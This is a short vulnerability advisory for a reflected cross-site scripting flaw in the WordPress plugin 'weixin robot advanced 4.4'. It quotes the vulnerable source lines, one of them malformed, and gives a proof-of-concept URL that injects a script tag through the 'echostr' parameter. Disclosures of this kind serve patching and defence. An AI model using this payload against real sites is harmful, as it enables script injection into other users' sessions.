WordPress Plugin weixin robot advanced 4.4 Cross-Site-Scripting

2018.06.25

UltraSecurityTeam (NL)

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

# Exploit Title: WordPress Plugin weixin robot advanced 4.4 Cross-Site-Scripting
# Date: 06.25.2018 
# Exploit Author: Ashkan Moghaddas
# Software Link : https://github.com/wp-plugins/weixin-robot-advanced
# Tested on: Windows-Linux 
# Google Dork: N/A 

=====================================

Vulnerable Page: 

/weixin-robot-class.php

 
===================================== 

Vulnerable Source: 

line 18: echo echo $echoStr;

line 17: $echoStr = $_GET['echostr'];

14: if(isset($_GET['debug'])) else 
15: if($this->checksignature () || isset($_GET['yixin']))
16: if(isset($_GET['echostr']))

=====================================

POC:
http://localhost/wp/wp-content/plugins/weixin-robot-class.php?echostr=<script>alert('ultrasec')</script>

=====================================


WebSite : UltraSec.Org 
Channel : @UltraSecurity 
Email : ashkanmoghaddas77@gmail.com

Special Thanks : abolfazl hajizade , MrQadir , Milad Ranjbar 

See this note in RAW Version

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WordPress Plugin weixin robot advanced 4.4 Cross-Site-Scripting

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